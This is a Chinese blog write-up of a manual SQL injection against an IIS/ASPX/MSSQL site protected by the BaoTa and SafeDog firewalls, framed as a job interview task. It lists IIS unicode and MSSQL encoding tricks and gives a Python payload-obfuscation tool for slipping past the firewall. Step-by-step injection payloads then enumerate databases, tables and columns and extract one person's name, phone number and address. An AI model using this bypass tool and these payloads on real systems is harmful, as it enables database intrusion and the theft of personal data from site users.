记一次面试bypass宝塔+安全狗的手注
前言
最近在准备找工作,有一家公司给我发来了这样一条消息,于是有了这篇文章.
因本文是bypass成功后,才写的可能会缺少一些图.(耗费本菜鸡半天时间,因为之前都是mysql搞的多,还有就是sqlmap一把梭.差点把传统手艺都丢了.)
涉及知识点实操-SQL注入
本实验以PHP和mysql为环境,简单展示了SQL的发生原理和利用过程,通过显错注入和盲注的对比,更直观展现注入的不同利用方法。
大意了,没有闪
拿到目标后,我就迫不及待的直接打开
打开地址一看是报错的,我还以为任务是需要通过信息收集拿到shell,最后再拿数据.我还在想开局就送个信息泄漏?
最后折腾一番之后发现没什么突破口.回来再看之前的地址发现又能访问了.
大意了,没有闪
最后看到界面是这样的(能打开完全靠运气,特别是在晚上)
看到这个界面后,我就知道,原来是想测老夫的sql注入? 我当时心想不会用sqlmap一把梭就进去了吧!
注入点识别
随即我就先用'
试试注入点
/1.aspx?id=1%27
继续试试and 1=1
/1.aspx?id=1%20%27and%201=1
好小子,居然有狗小小的一条就能难到我?打开burp,开始手注
bypass宝塔+安全狗
直接把请求改为post,试试垃圾数据填充能不能bypass
生成垃圾数据
好小子,还有个宝塔waf,看来垃圾数据填充已经不好用了
再试试分块传输bypass
还是一样(对分块传输没什么研究,和一些数据库特性结合应该还是可以用的,不是本文的重点)
接下来,开始fuzz
试试不带select
发现可以,继续试试,user
和db_name()
这说明宝塔和狗都是对select 后面跟值进行拦截
我们继续试试联合查询union
不出所料还是一样,这两兄弟好搭档啊,换着来.由于本文重点是在学习手注入和bypass下面开始bypass,我这边打算写个payload混淆工具bypass
在写工具前我们得知道bypass的常用手法有哪些吧?
我这边大概整理了有如下几种
利用服务器特性
利用数据库特性
利用WAF特性
所以为了更好的bypass,我们就得了解对这些特性有一定的了解,因为我的当前目标是iis+aspx,那我们就得了解一下iis和mssql特性来进行bypass
iis特性
下面摘自 bypass大佬的waf攻防实战笔记
1、%特性(ASP+IIS)
在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来
的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。
Ps.此处猜测可能是iis下asp.dll解析时候的问题,aspx+iis的环境就没有这个特性。
2、%u特性(asp+iis和aspx+iis)
Iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的
s%u006c%u0006ect ,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是
s%u006c%u0006ect,这样就会形成bypass的可能。
3、另类%u特性(ASP+IIS)
该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现: 多个widechar会有
可能转换为同一个字符。打个比方就是譬如select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为 e。s%u0065lect->select s%u00f0lect->select WAF层可能能识别s%u0065lect的形式,但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的 绕过。常见三个关键字(union+select+from)的测试情况:
s%u0045lect = s%u0065lect = %u00f0lect
u --> %u0055 --> %u0075
n -->%u004e --> %u006e
i -->%u0049 --> %u0069
o -->%u004f --> %u006f -->%u00ba
s -->%u0053 --> %u0073
l -->%u004c --> %u006c
e -->%u0045 --> %u0065-->%u00f0
c -->%u0043 --> %u0063
t -->%u0054 -->%u0074 -->%u00de -->%u00fe
f -->%u0046 -->%u0066
r -->%u0052 -->%u0072
m -->%u004d -->%u006d
mssql特性
空白字符
Mssql可以利用的空白字符有(需要在字符前面加%):
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
注释符
注释符可以用来代替空格,或者和
--
配合使用,--
也可以配合%0a(注释加换行)/**/ -- /**anything*/
特殊数值
一般用在注入点上
如1.1或者1E0这些
运算符
下面摘自 404大佬的MSSQL_SQL_BYPASS_WIKI
+ 加法运算 - 减法运算 * 乘法运算 / 除法运算,如果两个表达式值都是整数,那么结果只取整数值,小数值将略去 % 取模运算,返回两数相除后的余数& 位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0 | 位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值为1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0 ^ 位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0= 等于 <> 不等于 > 大于 != 不等于 < 小于 !< 不小于 >= 大于或等于 !> 不大于 <= 小于或等于ALL 如果一组的比较都为true,则比较结果为true AND 如果两个布尔表达式都为true,则结果为true;如果其中一个表达式为false,则结果为false ANY 如果一组的比较中任何一个为true,则结果为true BETWEEN 如果操作数在某个范围之内,那么结果为true EXISTS 如果子查询中包含了一些行,那么结果为true IN 如果操作数等于表达式列表中的一个,那么结果为true LIKE 如果操作数与某种模式相匹配,那么结果为true NOT 对任何其他布尔运算符的结果值取反 OR 如果两个布尔表达式中的任何一个为true,那么结果为true SOME 如果在一组比较中,有些比较为true,那么结果为true
当我们了解完这些特性之后,直接开干,随即就打开了老夫的pycharm
下面直接省略测试过程的图片,大家可以手工测也可以用intruder来跑.fuzz是个漫长的过程,我这里只可以大家提供思路
先把空白字符和注释定义出来(经测试发现+
也有同等效果)
1.先把所有的空格都用注释替换
2.对and和where进行处理,在它们前后随机加空白符,用来混淆这两个关键字
3.利用iis特性对下面这几个关键字某个字符用unicode编码替换
4.对下面这几个符合进行处理,
在某些函数会被拦截用+()
来bypass
查询某某库的某某表如admin.user会被拦截,用+.
来bypass
5.最后拓展下payload接收.最终代码如下
import randomdef bypass(payload):chars1 = ['%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0A', '%0B', '%0C', '%0D', '%0E', '%0F','%10', '%11','%12', '%13', '%14', '%15', '%16', '%17', '%18', '%19', '%1A', '%1B', '%1C', '%1D', '%1E','%1F', '%20']chars2 = ["/**/", "/*!*/", "/*!safe6*/", "+"]v = random.choice(chars1)payload = payload.replace(" ", random.choice(chars2))payload = payload.replace("=", v + "=" + v)payload = payload.replace("AND", v + "AND" + v)payload = payload.replace("and", v + "AND" + v)payload = payload.replace("WHERE", v + "WHERE" + v)payload = payload.replace("where", v + "where" + v)payload = payload.replace("UNION", "u%u006eion")payload = payload.replace("union", "u%u006eion")payload = payload.replace("CHAR", "%u0063har")payload = payload.replace("char", "%u0063har")payload = payload.replace("SELECT", "se%u006cect")payload = payload.replace("select", "se%u006cect")payload = payload.replace("FROM", "%u0066rom")payload = payload.replace("from", "%u0066rom")payload = payload.replace("(", "+(")payload = payload.replace(".", ".+")payload = payload.replace("--", "/*!*/--")print(payload)if __name__ == '__main__':while True:payload = input("输入payload:")if payload == 'q':exit(0)if payload:bypass(payload)
已经打包上传github
地址:https://github.com/safe6Sec/bypassWAF
然后就可以愉快的手注了
mssql手注
从前期的来看,该注入点支持union注入和报错注入.我这边采用报错注入.
用union注入需要知道当前表有几列(和mysql一样用order by判断),还需要回显点
用报错注入主要是用top命令配合not in来进行注入
爆库(mssql默认有四个库,我们需要加个条件,dbid>4)
and (SELECT top 1 Name FROM Master..SysDatabases where dbid>4)>0
这样只是爆出第一个库,爆别的还需用not in来配合排除已知的表
用union联合查询结果如下(列数量要和当前表一致,没有的列用null占位)
union SELECT null,null,null,Name,null,null,null,null FROM Master..SysDatabases
从上面的数据可以看出,只有一个数据库
继续爆表
and (select top 1 name from a999.sys.all_objects where type='U' AND is_ms_shipped=0)>0
第一张表为a999,用not in排除这张表继续爆其他的
and (select top 1 name from a999.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('a999'))>0
以此内推
最后得了下面这些表
'dtproperties','a999','wap_album','wap_albumre','admin','wap_bankLog','wap_bbs','wap_bbs_MarkSix','wap_bbs_MarkSix_bet','D99_CMD','temp','wap_background'
直觉告诉我数据很有可能是在a999(从名字上判断)
直接爆字段,和爆表一样的操作
and 1=(select top 1 name from syscolumns whereid=(select id from sysobjects where name = 'a999') )
得到了这些字段
'id','siteid','airplaneid','airplanename','userid','username','num','tel','address','starttime','content','remark','addtime','state'
他们要的数据是:序号10的 那栏信息。包含 名字 电话 地址
开始跑数据
and 1=(select top 1 username from a999 where id=10)
然后继续把剩下的电话地址跑出来,上交收工.
fuzz真是挺废时间了,本文是在bypass成功后所写.过程耗费太多时间没截图,思路都告诉大家了.结合起来用即可.
或者会有大佬想说为什么不,写个tamper来跑,
最后感谢404和bypass大佬的文章,小弟受益良多.
总结
不要光说不做,实操才是真理
对waf的bypass也就那样,把规则搞清楚了就很简单,免杀也如此
union注入比报错注入香多了
记一次面试bypass宝塔+安全狗的手注相关推荐
- 记一次面试腾讯的奇葩经历
阅读本文大概需要 2.8 分钟. 作者:黄小斜 文章来源:微信公众号[程序员江湖] 上回说到,我腾讯面试出师不利,简历随即进入备胎池,不过没过多久,转机还是来了. 大概是一周之后,我的电话响起,号 ...
- 腾讯python面试都_记一次面试腾讯的奇葩经历
阅读本文大概需要 2.8 分钟. 作者:黄小斜 文章来源:[程序员江湖] 上回说到,我腾讯面试出师不利,简历随即进入备胎池,不过没过多久,转机还是来了. 大概是一周之后,我的电话响起,号码来自腾讯 ...
- 如果当时这20道题能答好,现在应该已经被录取了(记一次面试的亲身经历 2020-8-27)
前情提要 又一次的面试经历,下班去面试的,热情的HR,一家外企大公司,从未接触的规模与环境,满怀期待,面试的是三个中年男子,问了很多问题,真的很多,方方面面,感觉答的不是很尽善尽美,有些东西还是说不清 ...
- 如果当时这15道题能答好,现在应该已经被录取了(记一次面试的亲身经历 2020-7-23)
一.前情提要 今天请假面试,上午两家,下午三家(暂定两点钟A.三点半B.四点C),全军出击的赶脚,有一家公司感觉还可以,来这家面试还真是一波三折: ① 一个不认识的猎头推荐的C(今天上午11点给我打的 ...
- 记第一次C++面试与经验分享
**记第一次C++面试与经验分享 #记第一次C++面试与经验分享# ** 这篇文章写于本人大三下学期. 本人菜鸟一枚,所学专业是电子科学与技术(集成电路方面),但由于感觉本专业历届学长学姐从事本行业人 ...
- (面试题)面试官为啥总是让我们手撕call、apply、bind?
引言 上一篇关于<面试官为啥总是喜欢问前端路由实现方式>的文章发布后,发现还是挺受欢迎的.这就给我造成了一定的困惑 之前花了很长时间,实现了一个自认为创意还不错的关于前端如何利用node+ ...
- 《Cracking the Coding Interview程序员面试金典》----猫狗收容所
时间限制:3秒 空间限制:32768K 热度指数:1535 本题知识点: 栈 队列 算法知识视频讲解 题目描述 有家动物收容所只收留猫和狗,但有特殊的收养规则,收养人有两种收养方式,第一种为直 ...
- 记一次面试(被骗)经历
生活虽难,但也要过,学校生活即将结束. 所有以培训为目的的招生单位都是耍流氓.妈的第一次参加面试就遇到了一个流氓,在51job上投递了一个C#的工作,过了几天收到了一个叫做第九城市的游戏开发公司的面试 ...
- Java面试题记不了怎么办_java面试题怎么记?java面试要注意什么?
学习完java之后,大家肯定是要出去找java相关的工作的,并且找工作都要面试,为了能够在面试中显示出自己的能力,很多小伙伴都想知道java面试题怎么记?那么接下来,我们就来给大家讲解一下这方面的内容 ...
最新文章
- 如何给DataFrame的列命名或重命名。
- Terminal终端的快捷键
- controller接收json数据_SpringMVC实现多种数据类型绑定
- Axure中后台管理信息系统通用原型方案 /框架模板/数据仪表/团队协作/会员管理/电商系统/资金统计/数据监控/销量统计/订单管理/客户管理/团队协作/职务管理/业务信息/员工管理/即时通讯
- 什么是内容电商?核心是“内容”
- ONES X 中农网|多产品线研发项目管理实践
- 戴钊《自我教练:迈向自我实现之路》读书笔记
- html 和 css 代码 总结
- 乌合之众-大众心理研究(六)
- 【剖析 | SOFARPC 框架】系列之 SOFARPC 序列化比较
- python开发bi报表_BI报表有什么优势
- 云烟成雨,我多想再见你,
- 别再费劲去找后台的前端框架了,2021 年就用 Fantastic-admin 吧
- 基于linux的oracle_rac实时应用集群研究,基于Linux的OracleRAC实时应用集群研究毕业设计论文...
- 盐城北大青鸟:Java的四大就业方向,薪资也是一级棒
- 兽音译者iOS APP,支持iPhone、iPad、Mac~
- 【数据剖析】三“果”鼎力的坚果电商市场
- openlayers画虚线 (十四)
- 十五、商城 - 品牌管理-AngularJS(3)
- 西门子PLC硬件知识
热门文章
- jsPlumb初认识
- SSM-Spring-Spring装配Bean-通过注解装配Bean-使用@Component装配Bean
- 地平线旭日X3派小白上手
- 服务器僵尸猪人刷怪塔怎么制作,我的世界僵尸猪人刷怪塔改良版制作教程
- string数组常用几种遍历
- windows下opengl多重纹理贴图
- html css布局大全,史上最全Html与CSS布局技巧
- NPM Error Unexpected token < in JSON at position 0 while parsing near ‘<!DOCTYP
- TDD测试驱动开发的基础是什么?
- Mifare卡的基本原理是什么?